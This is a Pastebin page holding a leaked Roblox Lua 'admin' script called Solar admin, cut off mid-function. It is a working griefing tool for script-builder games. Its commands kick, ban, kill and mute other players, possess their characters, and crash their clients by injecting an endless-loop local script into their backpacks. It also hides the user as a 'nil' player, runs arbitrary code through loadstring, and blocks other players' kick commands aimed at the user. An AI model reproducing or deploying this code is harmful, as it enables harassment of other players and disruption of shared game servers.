Advertisement
hdh123

Untitled

Dec 16th, 2015
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.18 KB | None | 0 0
  1. --Leaked by ERRORscript
  2.  
  3. --[[
  4. _____/\\\\\\\\\\\_________/\\\\\_______/\\\_________________/\\\\\\\\\_______/\\\\\\\\\_____
  5. ____/\\\/////////\\\_____/\\\///\\\____\/\\\_______________/\\\\\\\\\\\\\___/\\\///////\\\___
  6. ____\//\\\______\///____/\\\/__\///\\\__\/\\\______________/\\\/////////\\\_\/\\\_____\/\\\___
  7. ______\////\\\__________/\\\______\//\\\_\/\\\_____________\/\\\_______\/\\\_\/\\\\\\\\\\\/____
  8. __________\////\\\______\/\\\_______\/\\\_\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\//////\\\____
  9. ______________\////\\\___\//\\\______/\\\__\/\\\_____________\/\\\/////////\\\_\/\\\____\//\\\___
  10. ________/\\\______\//\\\___\///\\\__/\\\____\/\\\_____________\/\\\_______\/\\\_\/\\\_____\//\\\__
  11. ________\///\\\\\\\\\\\/______\///\\\\\/_____\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_\/\\\______\//\\\_
  12. _________\///////////__________\/////_______\///////////////__\///________\///__\///________\///__
  13.  
  14. Welcome to Solar admin, this admin is made by:
  15. aleksa12432;
  16. optiplex123/Exorsizer.
  17. This script is legaly copyrighted, so every steal is against law.
  18. You are allowed to edit the script, but leave credits to the real creators.
  19. We don't wan't any abusers of this admin, so don't try to abuse.
  20. If there is an error or bug, report to creators.
  21. For all questions ask aleksa12432 or optiplex123/Exorsizer
  22. This is a safety script, you have nil, local block, and 'bad' words detector.
  23. Newest updates:
  24. Fixed the rotation when cleaned;
  25. Can be used in nil;
  26. Smooth nil movement;
  27. Explore command;
  28. Added 'Hard ban'.
  29. Currently working on:
  30. Nil improvement.
  31. ]]--
  32. --[[STARTUP]]--
  33. wait(1)
  34. script.Name = "Solar admin"
  35. do
  36. if script:findFirstChild("DSource") ~= nil then
  37. SourceName = "DSource"
  38. elseif script:findFirstChild("Source") ~= nil then
  39. SourceName = "Source"
  40. elseif script:findFirstChild("source") ~= nil then
  41. SourceName = "source"
  42. else
  43. SourceName = "No_Source"
  44. end
  45. end
  46. script:ClearAllChildren()
  47. game.Lighting:ClearAllChildren()
  48. wait()
  49. --[[VARIABLES, BOOLEANS AND TABLES]]--
  50. LocalPlayer = game:GetService("Players").LocalPlayer
  51. runService = game:service'RunService'
  52. LSource = script:Clone()
  53. char = nil
  54. key = nil
  55. Mouse = LocalPlayer:GetMouse()
  56. SunMesh = "http://www.roblox.com/asset/?id=1185246"
  57. SunTexture = "http://www.roblox.com/asset/?id=20261287"
  58. ChatColor = "Institutional white"
  59. Code = "SA: "..game.PlaceId
  60. Key = "/"
  61. SunScale = Vector3.new(3,3,3)
  62. HiddenTablets = false
  63. TabModelDebounce = false
  64. DismissTabOn = false
  65. ChatGui = true
  66. LBlock = true
  67. found = false
  68. NilBoot = false
  69. appearTime = 3
  70. Rotation = 0
  71. Speed = 0.0001
  72. Tabs = {}
  73. Cmds = {}
  74. Banlist = {}
  75. HardBanlist = {"ninevolt781","cappertron20","GOLDC3PO","rabbidog","NoobsAttacks","manofthebase44"}
  76. MuteWords = {}
  77. BadWords = {}
  78. Services = {
  79. game;
  80. game:service'Workspace';
  81. game:service'Players';
  82. game:service'Lighting';
  83. game:service'StarterGui';
  84. game:service'StarterPack';
  85. game:service'Debris';
  86. };
  87. --[[START]]--
  88. if LocalPlayer.Character ~= nil then
  89. LocalPlayer.Character.Archivable = true
  90. Char = LocalPlayer.Character:Clone()
  91. end
  92. if NilBoot == true then
  93. LocalPlayer.Parent = nil
  94. ChatGui = true
  95. appear(CFrame.new(0,25,0))
  96. local a = Char:Clone()
  97. a.Parent = workspace
  98. a.Torso.CFrame = CFrame.new(0,25,0)
  99. LocalPlayer.Character = a
  100. workspace.CurrentCamera.CameraType = "Custom"
  101. workspace.CurrentCamera.CameraSubject = a.Humanoid
  102. wait(5)
  103. SmoothMovement()
  104. end
  105. MuteWords[#MuteWords+1] = LocalPlayer.Name..":Kick()"
  106. MuteWords[#MuteWords+1] = LocalPlayer.Name..":Destroy()"
  107. MuteWords[#MuteWords+1] = LocalPlayer.Name..":remove()"
  108. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Kick()'
  109. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Kick()"
  110. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Destroy()'
  111. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Destory()"
  112. MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:remove()'
  113. MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:remove()"
  114. MuteWords[#MuteWords+1] = "'Players':ClearAllChildren()"
  115. MuteWords[#MuteWords+1] = '"Players":ClearAllChildren()'
  116. MuteWords[#MuteWords+1] = "Players:ClearAllChildren()"--alek SD the server or kick manof
  117. for i = 1,#LocalPlayer.Name,1 do
  118. MuteWords[#MuteWords+1] = "kick/"..LocalPlayer.Name:sub(1,i)
  119. end
  120. for i = 1,#LocalPlayer.Name,1 do
  121. MuteWords[#MuteWords+1] = "kick;"..LocalPlayer.Name:sub(1,i)
  122. end
  123. for i = 1,#LocalPlayer.Name,1 do
  124. MuteWords[#MuteWords+1] = "kick:"..LocalPlayer.Name:sub(1,i)
  125. end
  126. for i = 1,#LocalPlayer.Name,1 do
  127. MuteWords[#MuteWords+1] = "kick "..LocalPlayer.Name:sub(1,i)
  128. end
  129. for i = 1,#LocalPlayer.Name,1 do
  130. MuteWords[#MuteWords+1] = ":kick "..LocalPlayer.Name:sub(1,i)
  131. end
  132. for i = 1,#LocalPlayer.Name,1 do
  133. MuteWords[#MuteWords+1] = "/kick/"..LocalPlayer.Name:sub(1,i)
  134. end
  135. for i = 1,#LocalPlayer.Name,1 do
  136. MuteWords[#MuteWords+1] = "kick`"..LocalPlayer.Name:sub(1,i)
  137. end
  138. wait()
  139. --[[TABMODEL]]--
  140. local TabModel = Instance.new("Model")
  141. TabModel.Name = "Solar tabs"
  142. if HiddenTablets == true then
  143. TabModel.Parent = workspace.CurrentCamera
  144. TabModelParent = workspace.CurrentCamera
  145. elseif HiddenTablets == false then
  146. TabModel.Parent = workspace
  147. TabModelParent = workspace
  148. end
  149. --[[PARENTING]]--
  150. script.Parent = _SOLAR_
  151. wait()
  152. --[[FUNCTIONS]]--
  153. function Output(Text,Color,OnClicked)
  154. if TabModel.Parent ~= TabModelParent then return end
  155. if TabModel == nil then return end
  156. if Color == nil then Color = "Institutional white" end
  157. if Text == nil then Text = "" end
  158. local Text = tostring(Text)
  159. Text = Text:gsub("","\5")
  160. local Part = Instance.new("Part", TabModel)
  161. Part.CanCollide = false
  162. Part.Anchored = true
  163. Part.Locked = true
  164. Part.Shape = "Ball"
  165. Part.Size = Vector3.new(3,3,3)
  166. Part.Name = "TABLET: "..math.random(-99999,99999)
  167. if LocalPlayer ~= nil and LocalPlayer.Character ~= nil and LocalPlayer.Character.Torso ~= nil then
  168. Part.CFrame = LocalPlayer.Character.Torso.CFrame
  169. else
  170. Part.CFrame = CFrame.new(0,0,0)
  171. end
  172. local Mesh = Instance.new("SpecialMesh", Part)
  173. Mesh.MeshId = SunMesh
  174. Mesh.TextureId = SunTexture
  175. Mesh.Scale = SunScale
  176. local PointLight = Instance.new("PointLight", Part)
  177. PointLight.Color = BrickColor.new("New Yeller").Color
  178. PointLight.Range = 10
  179. local BillboardGui = Instance.new("BillboardGui", Part)
  180. BillboardGui.Size = UDim2.new(8,0,7,0)
  181. BillboardGui.StudsOffset = Vector3.new(0,2,0)
  182. local TextLabel = Instance.new("TextLabel", BillboardGui)
  183. TextLabel.Text = Text
  184. TextLabel.Size = UDim2.new(1,0,1,0)
  185. TextLabel.BackgroundTransparency = 1
  186. TextLabel.TextColor = BrickColor.new(Color)
  187. TextLabel.Font = "ArialBold"
  188. TextLabel.FontSize = "Size24"
  189. TextLabel.TextStrokeTransparency = 0
  190. local ClickDetector = Instance.new("ClickDetector", Part)
  191. Tabs[#Tabs+1] = Part
  192. ClickDetector.MaxActivationDistance = math.huge
  193. ClickDetector.MouseHoverEnter:connect(function(Player)
  194. if Player.Name == LocalPlayer.Name then
  195. Part.Transparency = 0.5
  196. end
  197. end)
  198. ClickDetector.MouseHoverLeave:connect(function(Player)
  199. if Player.Name == LocalPlayer.Name then
  200. Part.Transparency = 0
  201. end
  202. end)
  203. ClickDetector.MouseClick:connect(function(Player)
  204. if Player.Name == LocalPlayer.Name then
  205. coroutine.wrap(function()
  206. for i = 0,180,10 do
  207. TextLabel.Rotation = i
  208. wait()
  209. end
  210. end)()
  211. coroutine.wrap(function()
  212. for i = 0,1,0.1 do
  213. Part.Transparency = i
  214. wait()
  215. end
  216. wait()
  217. Part:Destroy()
  218. for i,v in pairs(Tabs) do
  219. if v.Name == Part.Name then
  220. table.remove(Tabs,i)
  221. end
  222. end
  223. if OnClicked ~= nil then
  224. OnClicked()
  225. end
  226. end)()
  227. end
  228. end)
  229. if #Tabs > 0 then DismissTab() end
  230. end
  231. function Dismiss()
  232. Tabs = {}
  233. TabModel:ClearAllChildren()
  234. DismissTabOn = false
  235. end
  236. function DismissTab()
  237. if DismissTabOn == true then return end
  238. DismissTabOn = true
  239. Output("Dismiss","Really red", function() Dismiss() DismissTabOn = false end)
  240. end
  241. function Chat(Msg, Clr)
  242. for _,v in pairs(Cmds) do
  243. if #Msg >= #v["Say"]+#Key then
  244. if Msg:lower():sub(1,#v["Say"]+#Key) == v["Say"]:lower()..Key:lower() then
  245. return
  246. end
  247. end
  248. end
  249. if Msg:sub(1,2) == "/e" then return end
  250. if Clr == nil then Clr = "Institutional white" end
  251. if Msg == nil then Msg = "" end
  252. if Msg:sub(1,1) == ";" then Clr = "Really red" Msg = Msg:sub(2) end
  253. if Msg:sub(1,1) == "/" then Clr = "Really blue" Msg = Msg:sub(2) end
  254. Msg = Msg:gsub("","\5")
  255. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head then
  256. if #LocalPlayer.Character.Head:children() > 15 then return end
  257. for _,v in pairs(LocalPlayer.Character.Head:children()) do
  258. if v.Name == "BG" then
  259. coroutine.wrap(function()
  260. for i = v.StudsOffset.y,v.StudsOffset.y+2,0.1 do
  261. v.StudsOffset = Vector3.new(0,i,0)
  262. wait()
  263. end
  264. wait(2)
  265. if v:findFirstChild("TextLabel") ~= nil then
  266. for i = 0,1,0.1 do
  267. if v:findFirstChild("TextLabel") == nil then break end
  268. v.TextLabel.TextTransparency = i
  269. v.TextLabel.TextStrokeTransparency = i
  270. wait()
  271. end
  272. end
  273. v:Destroy()
  274. end)()
  275. end
  276. end
  277. if ChatGui == false then
  278. return
  279. elseif ChatGui == true then
  280. local BG = Instance.new("BillboardGui", LocalPlayer.Character.Head)
  281. BG.Name = "BG"
  282. BG.Size = UDim2.new(8,0,7,0)
  283. BG.StudsOffset = Vector3.new(0,2,0)
  284. BG.SizeOffset = Vector2.new(0,.1)
  285. local TL = Instance.new("TextLabel", BG)
  286. TL.Text = Msg
  287. TL.BackgroundTransparency = 1
  288. TL.Size = UDim2.new(1,0,.8,0)
  289. TL.Font = "Legacy"
  290. TL.FontSize = "Size24"
  291. TL.TextStrokeTransparency = 0
  292. if Clr ~= "Random" then
  293. TL.TextColor = BrickColor.new(Clr)
  294. elseif Clr == "Random" then
  295. TL.TextColor = BrickColor.random()
  296. end
  297. coroutine.wrap(function()
  298. wait(5)
  299. if TL ~= nil then
  300. for i = 0,1,0.1 do
  301. if TL == nil then break end
  302. TL.TextTransparency = i
  303. TL.TextStrokeTransparency = i
  304. wait()
  305. end
  306. end
  307. BG:Destroy()
  308. end)()
  309. end
  310. end
  311. end
  312. function Notify(Msg)
  313. Chat(Msg,"Really red")
  314. end
  315. function GetPlayers(msg)
  316. local Plrs = {}
  317. if msg == "me" then
  318. table.insert(Plrs, LocalPlayer)
  319. elseif msg == "all" then
  320. Plrs = game:GetService("Players"):GetChildren() --GetPlayers()?
  321. elseif msg == "noobs" then
  322. for _,plr in pairs(game:GetService("Players"):GetChildren()) do
  323. if plr.AccountAge < 364 then
  324. table.insert(Plrs, plr)
  325. end
  326. end
  327. elseif msg == "veterans" then
  328. for _,plr in pairs(game:GetService("Players"):GetChildren()) do
  329. if plr.AccountAge > 364 then
  330. table.insert(Plrs, plr)
  331. end
  332. end
  333. elseif msg == "others" then
  334. for i,v in pairs(game:GetService("Players"):GetChildren()) do
  335. if v ~= LocalPlayer then
  336. table.insert(Plrs, v)
  337. end
  338. end
  339. else
  340. for i,v in pairs(game:GetService("Players"):GetChildren()) do
  341. if v.Name:lower():sub(1,#msg) == msg:lower() then
  342. table.insert(Plrs, v)
  343. end
  344. end
  345. end
  346. return Plrs
  347. end
  348. function Update(CF)
  349. if TabModel.Parent ~= TabModelParent then return end
  350. if TabModel == nil then return end
  351. Rotation = Rotation + Speed
  352. if TabModel.Parent ~= TabModelParent then return end
  353. if TabModel == nil then return end
  354. for i,v in pairs(Tabs) do
  355. if TabModel.Parent ~= TabModelParent then break end
  356. if TabModel == nil then break end
  357. if v.Parent ~= nil then
  358. if TabModel.Parent ~= TabModelParent then break end
  359. if TabModel == nil then break end
  360. if #Tabs < 201 then
  361. if TabModel.Parent ~= TabModelParent then break end
  362. if TabModel == nil then break end
  363. local CP = v.Position:lerp(CF.p,0.15)
  364. v.CFrame = CFrame.new(CP.X,CP.Y,CP.Z) *CFrame.Angles(0,math.rad(((360/#Tabs)*i)+Rotation),0)
  365. *CFrame.new(0,0,#Tabs*0.15 +0.5)
  366. else
  367. if TabModel.Parent ~= TabModelParent then break end
  368. if TabModel == nil then break end
  369. v:Destroy()
  370. end
  371. if TabModel.Parent ~= TabModelParent then break end
  372. if TabModel == nil then break end
  373. end
  374. end
  375. end
  376. function AddCmd(Name, Say, Desc, Func)
  377. Cmds[#Cmds+1] = {["Name"] = Name, ["Say"] = Say, ["Desc"] = Desc, ["Func"] = Func}
  378. end
  379. function ShowCmds()
  380. Dismiss()
  381. for _,v in pairs(Cmds) do
  382. Output(v["Name"],nil,
  383. function()
  384. Dismiss()
  385. Output("Name: "..v["Name"])
  386. Output("Usage: "..v["Say"])
  387. Output("Description: "..v["Desc"])
  388. Output("Back","Really red",function() ShowCmds() end)
  389. end
  390. )
  391. end
  392. end
  393. function NewS(SourceValue, Parent)
  394. if NewScript then
  395. local scr = NewScript:Clone()
  396. if scr:FindFirstChild(SourceName) then
  397. if scr:FindFirstChild(SourceName) then
  398. scr:FindFirstChild(SourceName).Value = SourceValue
  399. scr.Parent = Parent
  400. wait()
  401. scr.Disabled = false
  402. return scr
  403. end
  404. end
  405. else
  406. Output("No source","Really red")
  407. end
  408. end
  409. function NewLS(SourceValue, Parent)
  410. if SourceName == "No_Source" then return end
  411. if game.PlaceId == 54194680 then
  412. NLS(SourceValue, Parent)
  413. else
  414. local NS = LSource:Clone()
  415. NS.Name = "NewLocal"
  416. local Source = NS:findFirstChild(SourceName)
  417. if Source == nil then
  418. Instance.new('StringValue',NS).Name = SourceName
  419. end
  420. Source = NS:findFirstChild(SourceName)
  421. Source.Value = SourceValue
  422. NS.Parent = Parent
  423. NS.Disabled = false
  424. return NS
  425. end
  426. end
  427. function ShowBL()
  428. Dismiss()
  429. for _,v in pairs(Banlist) do
  430. Output(v,nil, function()
  431. Dismiss()
  432. Output(v)
  433. Output("Un-Ban","Really red", function()
  434. table.remove(Banlist, _)
  435. end)
  436. Output("Back","Really red", function()
  437. ShowBL()
  438. end)
  439. end)
  440. end
  441. end
  442. function ShowHBL()
  443. Dismiss()
  444. for _,v in pairs(HardBanlist) do
  445. Output(v,nil, function()
  446. Dismiss()
  447. Output(v)
  448. Output("Un-Ban","Really red", function()
  449. table.remove(HardBanlist, _)
  450. end)
  451. Output("Back","Really red", function()
  452. ShowBL()
  453. end)
  454. end)
  455. end
  456. end
  457. function Connect(who)
  458. if who and who.Backpack then
  459. NewLS(ConnectSource, who.Backpack)
  460. Output("Connected: "..who.Name)
  461. end
  462. end
  463. function SmoothMovement()
  464. if char ~= nil then char = nil end
  465. wait()
  466. if LocalPlayer.Character.Parent == nil then return end
  467. if LocalPlayer.Character == nil then return end
  468. char = LocalPlayer.Character
  469. char.Torso.Anchored = true
  470. Mouse.KeyDown:connect(function(kai)
  471. if kai == "w" then
  472. key = "w"
  473. elseif kai == "s" then
  474. key = "s"
  475. elseif kai == "a" then
  476. key = "a"
  477. elseif kai == "d" then
  478. key = "d"
  479. end
  480. end)
  481. Mouse.KeyUp:connect(function(kai)
  482. if kai == "w" then
  483. key = nil
  484. elseif kai == "s" then
  485. key = nil
  486. elseif kai == "a" then
  487. key = nil
  488. elseif kai == "d" then
  489. key = nil
  490. end
  491. end)
  492. while wait() do
  493. if char == nil then break end
  494. if key == "w" then
  495. if char == nil then break end
  496. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,-0.5)
  497. elseif key == "s" then
  498. if char == nil then break end
  499. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,0.5)
  500. elseif key == "a" then
  501. if char == nil then break end
  502. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(-0.5,0,0)
  503. char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,0.5,0)
  504. elseif key == "d" then
  505. if char == nil then break end
  506. char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0.5,0,0)
  507. char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,-0.5,0)
  508. end
  509. end
  510. end
  511. function Explore(part)
  512. Dismiss()
  513. if part == nil then
  514. for _,v in pairs(Services) do
  515. Output(v.Name,nil,function() Explore(v) end)
  516. end
  517. else
  518. for _,v in pairs(part:children()) do
  519. Output(v.Name,nil,function() Explore(v) end)
  520. end
  521. wait()
  522. Output("Currently exploring: "..part.Name,"Really red")
  523. Output("Class name: "..part.ClassName,"Really red")
  524. Output("Destroy","Really red",function() part:Destroy() Explore(part.Parent) end)
  525. Output("Remove","Really red",function() part:remove() Explore(part.Parent) end)
  526. end
  527. end
  528. function appear(pos)
  529. local parts = {}
  530. local frames = appearTime / (1 / 30)
  531. local t = 1
  532. if pos == nil then pos = CFrame.new(0, 25, 0) end
  533. for i=1,500 do
  534. local p = Instance.new("Part", game.Workspace)
  535. p.Anchored = true
  536. p.CanCollide = false
  537. p.formFactor = 3
  538. p.Size = Vector3.new(1, 1, 1)
  539. p.TopSurface = 0
  540. p.BottomSurface = 0
  541. p.BrickColor = BrickColor.random()
  542. local x, y, z = math.random(-10, 10) / 100, math.random(-10, 10) / 100, math.random(-10, 10) / 100
  543. p.CFrame = pos * CFrame.new(x * frames, y * frames, z * frames)
  544. local mesh = Instance.new("SpecialMesh", p)
  545. mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
  546. mesh.Scale = Vector3.new(0.9, 0.9, 0.9)
  547. table.insert(parts, {p, CFrame.new(-x, -y, -z) * CFrame.Angles(x, y, z)})
  548. end
  549. for i=1,frames do
  550. local _, duration = runService.Stepped:wait()
  551. for i,v in pairs(parts) do
  552. if v[1].Parent then
  553. v[1].CFrame = v[1].CFrame * v[2]
  554. v[1].Transparency = t
  555. end
  556. end
  557. t = t - (appearTime / frames)
  558. end
  559. for i,v in pairs(parts) do
  560. if v[1].Parent then
  561. v[1]:remove()
  562. end
  563. end
  564. end
  565. --[[COMMANDS]]--
  566. AddCmd("Ping","ping","Ping something",
  567. function(nothing, msg)
  568. Output(tostring(msg))
  569. end
  570. )
  571. AddCmd("Commands","cmds","Show all commands",
  572. function()
  573. ShowCmds()
  574. end
  575. )
  576. AddCmd("#Commands","#cmds","Show the number of commands",
  577. function()
  578. Output(tostring(#Cmds))
  579. end
  580. )
  581. AddCmd("Dismiss","dt","Dismiss tabs",
  582. function()
  583. Dismiss()
  584. end
  585. )
  586. AddCmd("Toggle tabs visibility","hid","Make the tabs visible/invisible",
  587. function(nothing, msg)
  588. if msg == "on" then
  589. HiddenTablets = true
  590. TabModel.Parent = workspace.CurrentCamera
  591. TabModelParent = workspace.CurrentCamera
  592. Output("Tabs are hidden","Really red")
  593. elseif msg == "off" then
  594. HiddenTablets = false
  595. TabModel.Parent = workspace
  596. TabModelParent = workspace
  597. Output("Tabs are visible","Really red")
  598. else
  599. Output("Use on/off to toggle tab visibility","Really red")
  600. end
  601. end
  602. )
  603. AddCmd("Execute","exe","Execute",
  604. function(nothing, msg)
  605. a,b = ypcall(function()
  606. loadstring(msg)()
  607. end)
  608. if not a then Output(b,"Really red") end
  609. end
  610. )
  611. AddCmd("Toggle local block","tlb","Toggle local block on/off",
  612. function(nothing, msg)
  613. if msg == "on" then
  614. LBlock = true
  615. Output("Local block on","Really red")
  616. elseif msg == "off" then
  617. LBlock = false
  618. Output("Local block off")
  619. else
  620. Output("Use on/off to toggle local block","Really red")
  621. end
  622. end
  623. )
  624. AddCmd("Kick","kick","Kick player",
  625. function(Plrs)
  626. for _, plr in pairs(Plrs) do
  627. if plr then
  628. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  629. end
  630. end
  631. end
  632. )
  633. AddCmd("Banlist","bl","Show banned players",
  634. function()
  635. ShowBL()
  636. end
  637. )
  638. AddCmd("Hard Banlist","hbl","Show hard banned players",
  639. function()
  640. ShowHBL()
  641. end
  642. )
  643. AddCmd("Semi-Crash","scrash","Semi-crash a player",
  644. function(Plrs)
  645. for _,plr in pairs(Plrs) do
  646. if plr and plr.Backpack then
  647. NewLS("repeat until false",plr.Backpack)
  648. end
  649. end
  650. end
  651. )
  652. AddCmd("Crash","crash","Crash a player (use nil to crash nil players)",
  653. function(nothing, msg)
  654. local a = Instance.new("StringValue", game.Lighting)
  655. a.Name = "DISC: "..msg
  656. game:service'Debris':AddItem(a, 3)
  657. end
  658. )
  659. AddCmd("Mute","mute","Block player's chat",
  660. function(Plrs)
  661. for _, plr in pairs(Plrs) do
  662. if plr and plr.Backpack then
  663. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
  664. end
  665. end
  666. end
  667. )
  668. AddCmd("Un-Mute","unmute","Un-Block player's chat",
  669. function(Plrs)
  670. for _, plr in pairs(Plrs) do
  671. if plr and plr.Backpack then
  672. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
  673. end
  674. end
  675. end
  676. )
  677. AddCmd("Clean","clean","Clean workspace",
  678. function()
  679. for _,v in pairs(workspace:children()) do
  680. if v.Name ~= "Terrain" then
  681. v:Destroy()
  682. end
  683. end
  684. NewS("for _,v in pairs(game:service'Players':children()) do if v:IsA('Player') then v:LoadCharacter() end end", workspace)
  685. local base = Instance.new("Part", workspace)
  686. base.Anchored = true
  687. base.Size = Vector3.new(1000,1.2,1000)
  688. base.BrickColor = BrickColor.new("Dark green")
  689. base.Material = "Grass"
  690. end
  691. )
  692. AddCmd("Remove","cremove","Remove the script",
  693. function()
  694. for i = 0,50,1 do
  695. pcall(function()
  696. for j,k in pairs(getfenv(i)) do
  697. getfenv(i)[j] = nil
  698. end
  699. end)
  700. end
  701. end
  702. )
  703. AddCmd("Script","c","Script something",
  704. function(nothing, msg)
  705. if found then
  706. NewS(msg,workspace)
  707. else
  708. Output("No source","Really red")
  709. end
  710. end
  711. )
  712. AddCmd("Kill","kill","Kill player",
  713. function(Plrs)
  714. for _, plr in pairs(Plrs) do
  715. if plr and plr.Character then
  716. plr.Character:breakJoints''
  717. end
  718. end
  719. end
  720. )
  721. AddCmd("NewLocal","newlocal","Inserts a new local in someones backpack",
  722. function(Plrs, msg)
  723. local KeyPos = msg:find(Key)
  724. local TargPlrs = msg:sub(1,KeyPos-1)
  725. local Plrs = GetPlayers(TargPlrs)
  726. local Srce = msg:sub(KeyPos+1)
  727. for _,plr in pairs(Plrs) do
  728. if plr and plr.Backpack then
  729. NewLS(Srce, plr.Backpack)
  730. end
  731. end
  732. end
  733. )
  734. AddCmd("Ban","ban","Bans a player",
  735. function(Plrs)
  736. for _, plr in pairs(Plrs) do
  737. if plr and plr.Backpack then
  738. Banlist[#Banlist +1] = plr.Name
  739. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  740. end
  741. end
  742. end
  743. )
  744. AddCmd("Rejoin","rj","Rejoins a player",
  745. function(Plrs)
  746. for _,plr in pairs(Plrs) do
  747. if plr and plr.Character then
  748. if SourceName == "source" then
  749. Output("This is Alakazards scriptbuilder. TPService is disabled here! Can't TP!","Really red")
  750. end
  751. if SourceName ~= "source" then
  752. NewLS([[game:GetService('TeleportService'):Teleport(game.PlaceId)]],plr.Character)
  753. end
  754. end
  755. end
  756. end
  757. )
  758. AddCmd("Ban","ban","Bans a player",
  759. function(Plrs)
  760. for _, plr in pairs(Plrs) do
  761. if plr and plr.Backpack then
  762. Banlist[#Banlist+1] = plr.Name
  763. end
  764. end
  765. end
  766. )
  767. AddCmd("Chat","chat","Turns chat on/off",
  768. function(nothing, msg)
  769. if msg == "on" then
  770. ChatGui = true
  771. elseif msg == "off" then
  772. ChatGui = false
  773. end
  774. end
  775. )
  776. AddCmd("GetAge","ga","Get age of a player",
  777. function(Plrs)
  778. for _, plr in pairs(Plrs) do
  779. if plr then
  780. Output(plr.Name..": "..tostring(plr.AccountAge))
  781. end
  782. end
  783. end)
  784. AddCmd("Hint","h","Show some hint",
  785. function(nothing, msg)
  786. if found then
  787. NewS([[
  788. a = Instance.new("Hint", workspace)
  789. msg = "]]..msg..[["
  790. msg = msg:gsub("","\5")
  791. game:service'Debris':AddItem(a, 5)
  792. while wait() do
  793. for i = 30,0,-1 do
  794. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  795. wait()
  796. end
  797. for i = 0,30,1 do
  798. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  799. wait()
  800. end
  801. end
  802. ]], workspace)
  803. end
  804. end
  805. )
  806. AddCmd("Message","m","Show a message",
  807. function(nothing, msg)
  808. if found then
  809. NewS([[
  810. a = Instance.new("Message", workspace)
  811. msg = "]]..msg..[["
  812. msg = msg:gsub("","\5")
  813. game:service'Debris':AddItem(a, 5)
  814. while wait() do
  815. for i = 30,0,-1 do
  816. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  817. wait()
  818. end
  819. for i = 0,30,1 do
  820. a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
  821. wait()
  822. end
  823. end
  824. ]], workspace)
  825. end
  826. end
  827. )
  828. AddCmd("Char","char","Be a character",
  829. function()
  830. if LocalPlayer.Parent == game.Players then return end
  831. if LocalPlayer.Character~= nil then
  832. LocalPlayer.Character:Destroy()
  833. end
  834. char = nil
  835. appear(CFrame.new(0,25,0))
  836. local a = Char:Clone()
  837. a.Parent = workspace
  838. a.Torso.CFrame = CFrame.new(0,25,0)
  839. LocalPlayer.Character = a
  840. workspace.CurrentCamera.CameraType = "Custom"
  841. workspace.CurrentCamera.CameraSubject = a.Humanoid
  842. wait(5)
  843. SmoothMovement()
  844. end
  845. )
  846. AddCmd("Refresh 'nil smooth movement'","rnsm","Refresh the movement when you are nil",
  847. function()
  848. if LocalPlayer.Parent == nil then
  849. char = nil
  850. wait()
  851. SmoothMovement()
  852. else
  853. Output("You are not nil.","Really red")
  854. end
  855. end
  856. )
  857. AddCmd("Go nil","gn","Go to nil player mode",
  858. function()
  859. LocalPlayer.Parent = nil
  860. appear(CFrame.new(0,25,0))
  861. local a = Char:Clone()
  862. a.Torso.CFrame = CFrame.new(0,25,0)
  863. a.Parent = workspace
  864. LocalPlayer.Character = a
  865. workspace.CurrentCamera.CameraType = "Custom"
  866. workspace.CurrentCamera.CameraSubject = a.Humanoid
  867. wait(5)
  868. SmoothMovement()
  869. end
  870. )
  871. AddCmd("Fix camera","fcam","Fix your camera",
  872. function()
  873. workspace.CurrentCamera.CameraType = "Custom"
  874. workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  875. end
  876. )
  877. AddCmd("Nils","nilp","Get nil players",
  878. function()
  879. NewS([[
  880. Model = Instance.new("Model", game.Lighting)
  881. Model.Name = "SolarAdminNilPlayers"
  882. for _,v in pairs(game:service'NetworkServer':children()) do
  883. if v:GetPlayer() then
  884. if v:GetPlayer().Parent ~= game:service'Players' then
  885. Instance.new("StringValue",Model).Value = v:GetPlayer().Name
  886. end
  887. end
  888. end
  889. ]], workspace)
  890. wait()
  891. np = nil
  892. for i = 0,5,1 do
  893. if game.Lighting:findFirstChild("SolarAdminNilPlayers") then
  894. np = game.Lighting:findFirstChild("SolarAdminNilPlayers")
  895. break
  896. end
  897. wait(0.1)
  898. end
  899. if np ~= nil then
  900. Dismiss()
  901. for _,v in pairs(np:children()) do
  902. if v:IsA("StringValue") then
  903. Output(v.Value,"Really red")
  904. end
  905. end
  906. elseif np == nil then
  907. Output("Something went wrong.","Really red")
  908. end
  909. end
  910. )
  911. AddCmd("Possess","ps","Possess a player",
  912. function(Plrs)
  913. for _, plr in pairs(Plrs) do
  914. if plr and plr.Character then
  915. LocalPlayer.Character = plr.Character
  916. workspace.CurrentCamera.CameraType = "Custom"
  917. workspace.CurrentCamera.CameraSubject = plr.Character.Humanoid
  918. end
  919. end
  920. end
  921. )
  922. AddCmd("'Hard' ban","hb","Hard ban a player",
  923. function(Plrs)
  924. for _, plr in pairs(Plrs) do
  925. if plr then
  926. HardBanlist[#HardBanlist+1] = plr.Name
  927. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  928. for i = 0,10,1 do
